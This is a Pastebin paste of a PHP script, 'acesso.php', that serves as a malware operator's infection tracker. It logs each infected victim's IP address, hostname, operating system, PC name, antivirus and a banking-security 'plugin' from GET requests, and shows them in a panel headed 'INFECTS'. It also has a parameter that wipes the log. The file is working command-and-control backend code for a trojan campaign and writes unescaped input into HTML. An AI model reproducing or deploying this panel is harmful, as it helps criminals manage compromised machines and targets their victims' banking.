Advertisement
benkow_

acesso.php

Jul 28th, 2016
613
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.09 KB | None | 0 0
  1. <?php
  2.  
  3. $av = $_GET['av'];
  4. $so = $_GET['so'];
  5. $pc = $_GET['pc'];
  6. $gb = $_GET['gb'];
  7. $hora = $_GET['hora'];
  8. $data = $_GET['data'];
  9.  
  10. $plog_ip = $_SERVER["REMOTE_ADDR"] ? $_SERVER["REMOTE_ADDR"] : "N/A";
  11. $plog_ref = $_SERVER["HTTP_REFERER"] ? $_SERVER["HTTP_REFERER"] : "N/A";
  12. $plog_host = @gethostbyaddr($plog_ip) ? @gethostbyaddr($plog_ip) : "N/A";
  13. $plog_date = $data/*date("d/m/Y")*/;
  14. $plog_incr = 1;
  15.  
  16. if (isset($_GET["view"]))
  17. {
  18. $linesno = 0;
  19. if(($flog = @fopen("ntfdll.txt", 'rb')) !== FALSE)
  20. {
  21. while (!@feof($flog))
  22. {
  23. $shit = @fgets($flog, 4096);
  24. $linesno++;
  25. }
  26. @fclose($flog);
  27. }
  28. ?>
  29.  
  30. <html>
  31. <head>
  32. <title>== / N0T1FY \ == </title>
  33. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  34. <style type="text/css">
  35. <!--
  36. .style1 {
  37. font-size: 11px;
  38. font-weight: bold;
  39. font-family: Arial, Helvetica, sans-serif;
  40. }
  41. .style6 {
  42. font-size: 12px;
  43. font-family: Arial, Helvetica, sans-serif;
  44. color: #FFFFFF;
  45. }
  46. .style11 {color: #990000}
  47. .style20 {color: #990000; font-size: 12px; font-family: Arial, Helvetica, sans-serif;}
  48. .style21 {font-size: 12px; font-family: Arial, Helvetica, sans-serif;}
  49. .style22 {font-size: 12px}
  50. .style23 {
  51. color: #990000;
  52. font-size: 12px;
  53. font-family: "Courier New", Courier, monospace;
  54. font-weight: bold;
  55. }
  56. .style26 {font-size: 12px; font-family: "Courier New", Courier, monospace; font-weight: bold; }
  57. .style27 {color: #FFFFFF}
  58. .style28 {color: #FFFFFF; font-size: 12px; font-family: "Courier New", Courier, monospace; font-weight: bold; }
  59. .style29 {color: #000000}
  60. .style30 {color: #000000; font-size: 12px; font-family: "Courier New", Courier, monospace; font-weight: bold; }
  61. body {
  62. background-color: #DEDBC6;
  63. }
  64. .style35 {font-family: Arial, Helvetica, sans-serif; font-weight: bold;}
  65. -->
  66. </style>
  67. <link rel="shortcut icon" type="image/png" href="Favicon.png"/>
  68. </head>
  69. <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  70. <!-- ImageReady Slices (notify.tif) -->
  71.  
  72. <table id="Table_01" width="100%" height="68" border="0" cellpadding="0" cellspacing="0">
  73.  
  74. <tr>
  75. <td width="19%" height="48" background="http://27.media.tumblr.com/tumblr_lkmvmnI3Pf1qec8uno1_500.gif">
  76. <img src="http://27.media.tumblr.com/tumblr_lkmvmnI3Pf1qec8uno1_500.gif" height="48" alt=""><img src="http://27.media.tumblr.com/tumblr_lkmvmnI3Pf1qec8uno1_500.gif" width="15" height="48" alt=""></td>
  77. <td width="81%" background="http://27.media.tumblr.com/tumblr_lkmvmnI3Pf1qec8uno1_500.gif">&nbsp;</td>
  78. </tr>
  79.  
  80. <tr>
  81. <td height="17" bgcolor="#DEDBC6">&nbsp;</td>
  82. <td bgcolor="#DEDBC6" class="style23"><div align="right" class="style23"><span class="style35">INFECTS = <?=($linesno-1) ?></span>&nbsp;&nbsp;</div></td>
  83. </tr></table>
  84. <!-- <div align="right"></div> -->
  85.  
  86. <!--
  87.  
  88. <table width="100%" height="69" border="0" cellpadding="0" cellspacing="0">
  89. <tr></tr>
  90.  
  91. -->
  92.  
  93. <table width="100%" border="0" cellpadding="1" cellspacing="1" bordercolor="#990000" class="style23">
  94. <tr>
  95.  
  96. <td width="3%" bgcolor="#4A4D42"><div align="right" class="style20"><span class="style27">ID</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div></td>
  97. <th width="16%" nowrap bgcolor="#4A4D42" ><div align="center"><span class="style28">[Data / Hora]</span>&nbsp;</div></th>
  98. <td width="29%" bgcolor="#4A4D42"><div align="center" class="style6">
  99. <div align="left" class="style23">
  100. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  101. <span class="style27">[IP / Hostname]</span></div>
  102. </div></td>
  103. <!-- <td width="30%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;[HTTP Referrer / SO / PC / Antivirus / GB Plugin]</div></td> -->
  104. <!-- <td width="15%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;[HTTP Referrer]</div></td> -->
  105. <td width="17%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[SO]</div></td>
  106. <td width="10%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[PC]</div></td>
  107. <td width="13%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[Antivirus]</div></td>
  108. <td width="30%" bgcolor="#4A4D42"><div align="left" class="style27">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[PLUGIN]</div></td>
  109. </tr>
  110.  
  111. <?php
  112.  
  113. if(($plog_read = @fopen("ntfdll.txt", 'rb')) !== FALSE)
  114. {
  115.  
  116. while (!@feof($plog_read))
  117. {
  118. $plog_line = @fgets($plog_read, 4096);
  119. if(trim($plog_line) != "")
  120. echo '<tr><td height="10" bordercolor="#990000" bgcolor="#B5B29C" class="style1"><div align="right" class="style22"><span class="style29">'.$plog_incr++.'</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div></td><td height="10" bordercolor="#990000" bgcolor="#B5B29C"><div align="center" class="style26"><span class="style29">' . $plog_line;
  121. }
  122. @fclose($plog_read);
  123.  
  124. }
  125. ?>
  126. </table>
  127. </body>
  128. </html>
  129. <?php
  130.  
  131. }
  132. else if(isset($_GET["foi"]))
  133. {
  134. if(($plog = @fopen("ntfdll.txt", 'wb')) !== FALSE)
  135. {
  136. @fputs($plog, '');
  137. @fclose($plog);
  138. echo "Lista apagada...";
  139. }
  140. }
  141. else if(isset($_GET["v"]))
  142. {
  143. $linesno = 0;
  144. if(($flog = @fopen("ntfdll.txt", 'rb')) !== FALSE)
  145. {
  146. while (!@feof($flog))
  147. {
  148. $shit = @fgets($flog, 4096);
  149. $linesno++;
  150. }
  151. @fclose($flog);
  152. }
  153. echo '<html><body bgcolor="black"><br /><br /><p align="center" style="color:white;font-weight:bold">INFECTS = '.($linesno > 0 ? $linesno - 1 : 0) .'</p></body></html>';
  154. }
  155. else
  156. {
  157. if(($plog = @fopen("ntfdll.txt", 'ab')) !== FALSE)
  158. {
  159. @fputs($plog, '['.$plog_date.'] - ['.$hora.']</span></div></td><td height="10" bordercolor="#990000" bgcolor="#B5B29C"><span class="style30">&nbsp;&nbsp;&nbsp;['.$plog_ip.'], ['.$plog_host.']</span></td><td height="10" bordercolor="#990000" bgcolor="#B5B29C">&nbsp;&nbsp;<span class="style29">['.$so.']</td><td height="10" bordercolor="#990000" bgcolor="#B5B29C">&nbsp;&nbsp;<span class="style29">['.$pc.']</td><td height="10" bordercolor="#990000" bgcolor="#B5B29C">&nbsp;&nbsp;<span class="style29">['.$av.']</td><td height="10" bordercolor="#990000" bgcolor="#B5B29C">&nbsp;&nbsp;<span class="style29">['.$gb.']</td></span></td></tr>'."\r\n");
  160. @fclose($plog);
  161. echo "NTFD!";
  162. }
  163. }
  164.  
  165. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement